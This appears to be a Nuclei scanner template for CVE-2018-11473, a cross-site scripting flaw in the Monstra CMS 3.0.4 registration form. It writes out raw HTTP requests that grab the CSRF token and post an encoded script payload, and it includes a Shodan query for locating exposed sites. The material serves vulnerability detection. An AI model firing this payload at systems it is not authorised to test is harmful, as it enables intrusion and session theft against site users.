72 lines
2.2 KiB
YAML
72 lines
2.2 KiB
YAML
id: CVE-2018-11473
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info:
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name: Monstra CMS 3.0.4 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the registration form (i.e., the login parameter to users/registration). An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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remediation: |
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Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability.
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reference:
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- https://github.com/monstra-cms/monstra/issues/446
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- https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
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- https://nvd.nist.gov/vuln/detail/CVE-2018-11473
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2018-11473
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cwe-id: CWE-79
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epss-score: 0.00097
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epss-percentile: 0.39898
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cpe: cpe:2.3:a:monstra:monstra:3.0.4:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: monstra
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product: monstra
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shodan-query: http.favicon.hash:419828698
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tags: cve,cve2018,xss,mostra,mostracms,cms
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http:
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- raw:
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- |
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GET /users/registration HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /users/registration HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test®ister=Register
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "><script>alert(document.domain)</script>"
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- "Monstra"
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case-insensitive: true
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: csrf
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group: 1
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regex:
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- 'id="csrf" name="csrf" value="(.*)">'
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internal: true
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part: body
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